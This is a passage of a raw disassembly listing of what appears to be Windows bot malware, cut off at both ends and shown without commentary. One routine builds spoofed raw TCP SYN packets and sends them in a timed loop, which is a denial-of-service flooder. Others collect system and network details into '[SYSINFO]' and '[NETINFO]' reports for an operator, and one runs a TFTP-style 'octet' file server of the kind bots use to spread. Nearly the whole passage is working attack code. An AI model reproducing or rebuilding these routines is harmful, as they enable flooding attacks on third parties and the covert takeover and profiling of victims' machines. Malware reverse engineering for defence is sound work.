		call	sub_40C378
		pop	ecx
		pop	ecx
		push	esi
		call	dword_418050	; ExitThread
		pop	edi
		pop	esi
sub_40B359	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3F5	proc near		; CODE XREF: sub_40B6A6+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_42D7FC	; WSAStartup
		test	eax, eax
		jz	short loc_40B435
		xor	eax, eax
		jmp	loc_40B679
; ---------------------------------------------------------------------------


loc_40B435:				; CODE XREF: sub_40B3F5+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_42D918	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_40B671
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_42D858	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_40B667
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_42D878	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_42D878	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_42D878	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_42D878	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_418070	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_41806C	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_40DDE0
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_40B520:				; CODE XREF: sub_40B3F5+25Dj
					; sub_40B3F5+269j
		mov	[ebp+var_24], bx
		call	sub_40CB5F
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_42D878	; htons
		mov	[ebp+var_34], ax
		call	sub_40CB5F
		mov	edi, eax
		shl	edi, 10h
		call	sub_40CB5F
		or	edi, eax
		push	edi
		call	dword_42D878	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_42D874	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_42D878	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_40C820
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	near ptr sub_40C820
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_405935
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_40C820
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_40C820
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_40CC40
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_405935
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_40C820
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_42D8D8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B67D
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_41806C	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_40B664
		jl	loc_40B520
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jb	loc_40B520


loc_40B664:				; CODE XREF: sub_40B3F5+25Bj
		mov	ebx, [ebp+arg_8]


loc_40B667:				; CODE XREF: sub_40B3F5+78j
					; sub_40B3F5+2AFj
		push	[ebp+var_C]
		call	dword_42D90C	; closesocket
		pop	esi


loc_40B671:				; CODE XREF: sub_40B3F5+5Bj
		call	dword_42D7E4	; WSACleanup
		mov	eax, ebx


loc_40B679:				; CODE XREF: sub_40B3F5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B67D:				; CODE XREF: sub_40B3F5+247j
		call	dword_42D814	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_41F958
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_403145
		add	esp, 10h
		jmp	short loc_40B667
sub_40B3F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6A6	proc near		; CODE XREF: sub_40B359+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_4057D9
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_40D9BF
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_40D9BF
		mov	edi, eax
		call	sub_40CB5F
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_40B3F5
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_40B6EF
		inc	eax


loc_40B6EF:				; CODE XREF: sub_40B6A6+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B6A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6FE	proc near		; CODE XREF: sub_401000+74p
					; sub_4077FD+3365p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_41805C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		mov	esi, offset dword_481D60
		push	32h
		push	esi
		call	sub_40D3F7
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40B6FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B751	proc near		; CODE XREF: sub_40B807+290p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_40B759:				; CODE XREF: sub_40B751+2Fj
					; sub_40B751+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	dword_418040	; Sleep
		rdtsc
		sub	eax, esi
		push	0
		sbb	edx, ebx
		push	edi
		push	edx
		push	eax
		call	sub_40DE60
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		ja	short loc_40B759
		jb	short loc_40B788
		cmp	ebx, edi
		ja	short loc_40B759


loc_40B788:				; CODE XREF: sub_40B751+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_40DED0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	edi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B7FB
		jb	short loc_40B7A7
		cmp	edi, 50h
		jnb	short loc_40B7AC


loc_40B7A7:				; CODE XREF: sub_40B751+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40B7AC:				; CODE XREF: sub_40B751+54j
		test	ecx, ecx
		ja	short loc_40B7FB
		jb	short loc_40B7B7
		cmp	edi, 47h
		jnb	short loc_40B7BC


loc_40B7B7:				; CODE XREF: sub_40B751+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40B7BC:				; CODE XREF: sub_40B751+64j
		test	ecx, ecx
		ja	short loc_40B7FB
		jb	short loc_40B7C7
		cmp	edi, 37h
		jnb	short loc_40B7CC


loc_40B7C7:				; CODE XREF: sub_40B751+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40B7CC:				; CODE XREF: sub_40B751+74j
		test	ecx, ecx
		ja	short loc_40B7FB
		jb	short loc_40B7D7
		cmp	edi, 26h
		jnb	short loc_40B7DC


loc_40B7D7:				; CODE XREF: sub_40B751+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40B7DC:				; CODE XREF: sub_40B751+84j
		test	ecx, ecx
		ja	short loc_40B7FB
		jb	short loc_40B7E7
		cmp	edi, 1Eh
		jnb	short loc_40B7EC


loc_40B7E7:				; CODE XREF: sub_40B751+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40B7EC:				; CODE XREF: sub_40B751+94j
		test	ecx, ecx
		ja	short loc_40B7FB
		jb	short loc_40B7F7
		cmp	edi, 0Ah
		jnb	short loc_40B7FB


loc_40B7F7:				; CODE XREF: sub_40B751+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40B7FB:				; CODE XREF: sub_40B751+4Dj
					; sub_40B751+5Dj ...
		sub	eax, edi
		pop	edi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_40B751	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B807	proc near		; CODE XREF: sub_4077FD+350Cp

var_968		= byte ptr -968h
var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 968h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_4242F0
		mov	[ebp+var_CC], 94h
		call	dword_4180E0	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B88E
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B86A
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B854
		mov	[ebp+var_4], offset dword_41D888


loc_40B854:				; CODE XREF: sub_40B807+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B909
		mov	[ebp+var_4], offset dword_41D884
		jmp	short loc_40B8DA
; ---------------------------------------------------------------------------


loc_40B86A:				; CODE XREF: sub_40B807+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B87C
		mov	[ebp+var_4], offset dword_41D880
		jmp	short loc_40B8D1
; ---------------------------------------------------------------------------


loc_40B87C:				; CODE XREF: sub_40B807+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B8CA
		mov	[ebp+var_4], offset dword_41D87C
		jmp	short loc_40B8D1
; ---------------------------------------------------------------------------


loc_40B88E:				; CODE XREF: sub_40B807+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B8CA
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B8A8
		mov	[ebp+var_4], offset dword_41D878
		jmp	short loc_40B8D1
; ---------------------------------------------------------------------------


loc_40B8A8:				; CODE XREF: sub_40B807+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B8BA
		mov	[ebp+var_4], offset dword_41D874
		jmp	short loc_40B8D1
; ---------------------------------------------------------------------------


loc_40B8BA:				; CODE XREF: sub_40B807+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B8D1


loc_40B8CA:				; CODE XREF: sub_40B807+7Cj
					; sub_40B807+8Ej
		mov	[ebp+var_4], offset dword_41D86C


loc_40B8D1:				; CODE XREF: sub_40B807+73j
					; sub_40B807+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B909


loc_40B8DA:				; CODE XREF: sub_40B807+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B909
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40B909:				; CODE XREF: sub_40B807+54j
					; sub_40B807+D1j ...
		mov	ax, word_41BF80
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_42D774
		mov	[ebp+var_8], 100h
		cmp	eax, ebx
		jz	short loc_40B942
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_40B942:				; CODE XREF: sub_40B807+12Cj
		push	[ebp+arg_4]
		call	sub_4058DC
		pop	ecx
		push	eax
		call	dword_42D8B4	; inet_addr
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		call	dword_42D834	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40B96B
		push	dword ptr [eax]
		jmp	short loc_40B970
; ---------------------------------------------------------------------------


loc_40B96B:				; CODE XREF: sub_40B807+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40B970:				; CODE XREF: sub_40B807+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_40C6C3
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_418088	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_418108	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_418104	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_418100	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_40E887
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_968]
		push	eax
		call	sub_403913
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B6FE
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_4058DC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_403804
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_403804
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B751
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_40D3F7
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BABB	proc near		; CODE XREF: sub_4077FD+29CEp
					; sub_4077FD+3526p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		cmp	dword_42D958, 0
		jnz	short loc_40BB2F
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_42D75C	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_40BB10
		lea	eax, [ebp+var_8C]
		push	offset dword_41FAF0
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_40BB10:				; CODE XREF: sub_40BABB+40j
		test	[ebp+var_C], 1
		lea	eax, [ebp+var_8]
		jz	short loc_40BB28
		push	offset dword_41FAE8


loc_40BB1E:				; CODE XREF: sub_40BABB+72j
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx
		jmp	short loc_40BB4E
; ---------------------------------------------------------------------------


loc_40BB28:				; CODE XREF: sub_40BABB+5Cj
		push	offset dword_41FAE4
		jmp	short loc_40BB1E
; ---------------------------------------------------------------------------


loc_40BB2F:				; CODE XREF: sub_40BABB+28j
		mov	esi, offset off_41FAE0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_40C6C3
		add	esp, 10h


loc_40BB4E:				; CODE XREF: sub_40BABB+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_4058DC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_40D3F7
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB81	proc near		; CODE XREF: sub_40BB81:loc_40C056p
					; DATA XREF: sub_401141+104o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		xor	ebx, ebx
		xor	eax, eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		inc	eax
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_42D8F4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_40BC44
		push	190h
		call	dword_418040	; Sleep
		call	dword_42D814	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_41FB94
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_40BC24
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_404555
		add	esp, 14h


loc_40BC24:				; CODE XREF: sub_40BB81+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_403145
		push	[ebp+var_170]
		call	sub_40C378
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_418050	; ExitThread


loc_40BC44:				; CODE XREF: sub_40BB81+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_42F414[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_42D878	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_42D8A4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BCA9
		push	1388h
		call	dword_418040	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_40C056
; ---------------------------------------------------------------------------


loc_40BCA9:				; CODE XREF: sub_40BB81+10Dj
		lea	eax, [ebp+var_378]
		push	offset dword_41BD40
		push	eax
		call	sub_40DDC8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_40BD27
		push	190h
		call	dword_418040	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_41FB6C
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_404555
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_403145
		push	[ebp+var_170]
		call	sub_40C378
		add	esp, 28h
		push	ebx
		call	dword_418050	; ExitThread


loc_40BD27:				; CODE XREF: sub_40BB81+140j
		mov	esi, 200h


loc_40BD2C:				; CODE XREF: sub_40BB81+48Fj
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_40C016
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_42D860	; select
		test	eax, eax
		jle	loc_40C00A
		mov	al, byte_4242F0
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_42D850	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_42D900	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40C6C3
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_40BFF4
		cmp	[ebp+var_D7], 1
		jnz	loc_40BF56
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_40CBC0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_40CBC0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_40EAC0
		add	esp, 14h
		test	eax, eax
		jnz	loc_40BF10
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_40CBC0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_40EAC0
		add	esp, 10h
		test	eax, eax
		jnz	loc_40BF10
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_40EAF8
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_40DA20
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_42D8D8	; sendto


loc_40BEB4:				; CODE XREF: sub_40BB81+46Ej
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset dword_41FB48
		push	eax
		call	sub_40C6C3
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_40BEFE
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_404555
		add	esp, 14h


loc_40BEFE:				; CODE XREF: sub_40BB81+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_403145
		pop	ecx
		jmp	loc_40C00A
; ---------------------------------------------------------------------------


loc_40BF10:				; CODE XREF: sub_40BB81+2B6j
					; sub_40BB81+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_41FB34
		push	edi
		call	dword_42D8D8	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_41FB0C
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_403145
		add	esp, 14h
		jmp	loc_40C00A
; ---------------------------------------------------------------------------


